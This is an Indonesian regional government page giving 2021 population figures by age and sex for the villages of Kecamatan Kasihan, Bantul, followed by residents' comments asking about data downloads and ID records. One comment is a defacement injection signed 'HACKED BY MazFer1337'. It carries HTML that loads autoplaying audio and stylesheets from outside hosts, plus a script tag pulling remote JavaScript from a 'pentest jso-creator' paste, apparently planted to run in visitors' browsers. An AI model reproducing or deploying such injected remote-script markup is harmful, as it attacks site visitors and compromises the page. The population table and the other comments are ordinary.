Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN KASIHAN, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANGUJIWOTIRTONIRMOLOTAMANTIRTONGESTIHARJOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun346356 702268224 492265262 527259243 5021.138 1.085 2.223
2 tahun215196 411165141 306176152 328221182 403777 671 1.448
3 tahun197193 390163143 306146171 317172178 350678 685 1.363
4 tahun209170 379150143 293162156 318207205 412728 674 1.402
5 tahun197195 392170144 314173154 327218211 429758 704 1.462
6 tahun217186 403166130 296186178 364190209 399759 703 1.462
7 tahun222210 432182162 344182173 355224181 405810 726 1.536
8 tahun215201 416175176 351185172 357234231 465809 780 1.589
9 tahun208215 423178159 337200175 375254204 458840 753 1.593
10 tahun219198 417213167 380173202 375212234 446817 801 1.618
11 tahun203184 387191172 363178184 362210224 434782 764 1.546
12 tahun233202 435205205 410195178 373231218 449864 803 1.667
13 tahun211236 447191200 391173167 340221250 471796 853 1.649
14 tahun235203 438187211 398193169 362235214 449850 797 1.647
15 tahun208198 406194161 355185179 364208222 430795 760 1.555
16 tahun212188 400182168 350185155 340236226 462815 737 1.552
17 tahun143146 289177151 328173160 333213183 396706 640 1.346
18 tahun189174 363154146 300188178 366212231 443743 729 1.472
19 tahun212164 376181164 345162166 328210213 423765 707 1.472
20 tahun182211 393195163 358179170 349215215 430771 759 1.530
21 tahun209202 411197207 404165182 347237223 460808 814 1.622
22 tahun217193 410162181 343162143 305210203 413751 720 1.471
23 tahun227188 415164179 343169149 318177215 392737 731 1.468
24 tahun185205 390174142 316156157 313215192 407730 696 1.426
25 tahun185197 382155156 311159166 325225218 443724 737 1.461
26 tahun227237 464184185 369181189 370215238 453807 849 1.656
27 tahun238237 475179163 342173172 345241220 461831 792 1.623
28 tahun216228 444154155 309192203 395225200 425787 786 1.573
29 tahun217211 428171164 335179180 359207219 426774 774 1.548
30 tahun225214 439142139 281161175 336212209 421740 737 1.477
31 tahun232209 441151162 313169169 338218201 419770 741 1.511
32 tahun197215 412168164 332179172 351208246 454752 797 1.549
33 tahun195212 407131145 276162172 334206193 399694 722 1.416
34 tahun197174 371158155 313145168 313205222 427705 719 1.424
35 tahun216206 422165146 311181173 354233206 439795 731 1.526
36 tahun235232 467171198 369170184 354260213 473836 827 1.663
37 tahun219230 449167168 335200195 395242281 523828 874 1.702
38 tahun228241 469188199 387216194 410278258 536910 892 1.802
39 tahun274238 512226198 424195208 403256266 522951 910 1.861
40 tahun229245 474172181 353221198 419260237 497882 861 1.743
41 tahun229221 450193198 391196181 377254243 497872 843 1.715
42 tahun226213 439191214 405198196 394255249 504870 872 1.742
43 tahun228205 433191197 388189205 394260237 497868 844 1.712
44 tahun204215 419177182 359199178 377226214 440806 789 1.595
45 tahun228209 437179187 366196188 384241234 475844 818 1.662
46 tahun214218 432203198 401175186 361241212 453833 814 1.647
47 tahun196176 372185162 347172152 324197192 389750 682 1.432
48 tahun187223 410160182 342145174 319223212 435715 791 1.506
49 tahun206226 432181181 362173175 348213240 453773 822 1.595
50 tahun182176 358176182 358141141 282177193 370676 692 1.368
51 tahun210199 409181161 342138170 308190220 410719 750 1.469
52 tahun219212 431180188 368145171 316201207 408745 778 1.523
53 tahun193192 385170149 319158175 333205227 432726 743 1.469
54 tahun179198 377176180 356150142 292218205 423723 725 1.448
55 tahun147152 299149134 283128169 297188216 404612 671 1.283
56 tahun212203 415148161 309157169 326193238 431710 771 1.481
57 tahun153164 317129143 272129145 274151186 337562 638 1.200
58 tahun151149 300154158 312129123 252162231 393596 661 1.257
59 tahun158152 310121146 267111121 232177190 367567 609 1.176
60 tahun109126 235115130 245118109 227150180 330492 545 1.037
61 tahun141189 330123143 266114136 250169201 370547 669 1.216
62 tahun126131 257128140 268128141 269171201 372553 613 1.166
63 tahun122132 254119135 254115115 230168189 357524 571 1.095
64 tahun128140 268103118 22196106 202137141 278464 505 969
65 tahun11299 21110091 1917589 164115144 259402 423 825
66 tahun12197 2189999 1988776 163112128 240419 400 819
67 tahun90101 19110279 1818481 165125140 265401 401 802
68 tahun6363 1266067 1276257 11999112 211284 299 583
69 tahun8882 1704971 1206373 13694111 205294 337 631
70 tahun6847 1155353 1065654 1107589 164252 243 495
71 tahun8685 1713749 863857 957376 149234 267 501
72 tahun5948 1075255 1075047 976568 133226 218 444
73 tahun3842 804050 903741 786166 127176 199 375
74 tahun3646 822742 693124 554154 95135 166 301
75 tahun2538 632235 572536 613353 86105 162 267
76 tahun3573 1083137 683238 703644 80134 192 326
77 tahun2938 672335 582422 464237 79118 132 250
78 tahun2345 681730 472431 552438 6288 144 232
79 tahun3641 773035 652848 764254 96136 178 314
80 ke atas162271 433106161 267110182 292164223 387542 837 1.379
Jumlah14.06013.97728.03711.74611.67523.42111.62011.77423.39414.88015.22930.109 52.306 52.655 104.961
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih